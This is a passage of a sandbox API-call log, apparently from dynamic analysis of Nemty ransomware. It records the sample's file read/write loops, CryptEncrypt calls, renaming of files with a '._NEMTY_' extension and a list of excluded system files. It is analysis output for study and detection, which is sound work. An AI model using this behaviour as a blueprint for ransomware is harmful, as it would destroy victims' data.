dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.515] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.525] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.525] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.535] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.535] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.544] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.544] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.544] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.544] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.554] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.554] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.563] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.563] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.563] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.563] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.573] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.573] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.582] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.582] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.588] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.588] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.588] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.588] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.594] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.594] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0075.594] CloseHandle (hObject=0xffffffff) returned 0 [0075.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0075.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0075.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0075.595] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0075.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0075.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0075.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0075.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0075.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0075.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0075.595] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png._nemty_kgobjgd_")) returned 0 [0075.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0075.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0075.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0075.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0075.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0075.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0075.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0075.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0075.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0075.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0075.595] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722b1847, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722b1847, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Pets_btn-over-DOT.png", cAlternateFileName="")) returned 1 [0075.595] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2=".") returned 1 [0075.595] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="..") returned 1 [0075.595] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="...") returned 1 [0075.595] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="windows") returned -1 [0075.595] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="$RECYCLE.BIN") returned 1 [0075.595] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="rsa") returned -1 [0075.595] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="NTDETECT.COM") returned 1 [0075.595] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="ntldr") returned 1 [0075.595] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="MSDOS.SYS") returned 1 [0075.596] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="IO.SYS") returned 1 [0075.596] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="boot.ini") returned 1 [0075.596] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="boot.ini") returned 1 [0075.596] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="AUTOEXEC.BAT") returned 1 [0075.596] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="ntuser.dat") returned 1 [0075.596] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="desktop.ini") returned 1 [0075.596] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="CONFIG.SYS") returned 1 [0075.596] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="RECYCLER") returned -1 [0075.596] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="BOOTSECT.BAK") returned 1 [0075.596] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="bootmgr") returned 1 [0075.596] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="programdata") returned -1 [0075.596] lstrcmpiW (lpString1="Pets_btn-over-DOT.png", lpString2="appdata") returned 1 [0075.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0075.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-over-DOT.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0075.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0075.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-over-DOT.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-over-DOT.png", lpUsedDefaultChar=0x0) returned 21 [0075.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0075.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0075.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-over-DOT.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0075.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0075.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-over-DOT.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-over-DOT.png", lpUsedDefaultChar=0x0) returned 21 [0075.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0075.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0075.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0075.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0075.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-over-DOT.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0075.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0075.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-over-DOT.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-over-DOT.png", lpUsedDefaultChar=0x0) returned 21 [0075.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0075.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0075.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-over-DOT.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0075.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0075.596] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-over-DOT.png", cchWideChar=21, lpMultiByteStr=0x4f9ed08, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-over-DOT.png", lpUsedDefaultChar=0x0) returned 21 [0075.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0075.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0075.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0075.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0075.597] Sleep (dwMilliseconds=0x5) [0075.611] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe0b6ed50, dwHighDateTime=0x1d561e7)) [0075.611] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe0b6ed50, dwHighDateTime=0x1d561e7)) [0075.611] GetLastError () returned 0x5 [0075.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0075.611] GetLastError () returned 0x5 [0075.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0075.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0075.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0075.611] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0075.611] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0075.611] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0075.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0075.611] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="G4Tz/2EZo4NozNAX2G/598+5k5hEUq1rdBhpLCktagoHrP1d1i0VHg+UbOMZKOED\r\ng9V8n4afOAHol3WvG/DwkN3xV6GA2vfNJSSFW3qQQfNm1IiI4/nF4AQJ2z3zLEW3\r\nuV6AzGSnh5oL2aLVZ+HRyS0NMBrROP36Z8D46olmVBRXf4urBjvAp5YGNixeEVdP\r\nCn01fbganCQa6tSSYE58G29Ep5tVpYnkh5Eo7pqy5JDRd6vdgyD8rSsQUxbaBo/E\r\n3eV8nVYAooFl0mUmj5bdXh2sIrYSDV+SJwrnLs8FLkLT2BLXHa9k+0TMjdPTbU3B\r\nf6Q8c28+EJZ+FHgsglDTyA==\r\n", pcchString=0x653e91c) returned 1 [0075.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0075.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0075.611] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0075.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0075.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0075.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0075.612] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.612] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0075.612] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0075.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.612] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.622] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.622] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.622] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.631] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.631] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.641] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.641] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.641] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.650] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.651] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.651] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.660] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.660] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.660] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.669] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.670] WriteFile (in: hFile=0xffffffff, 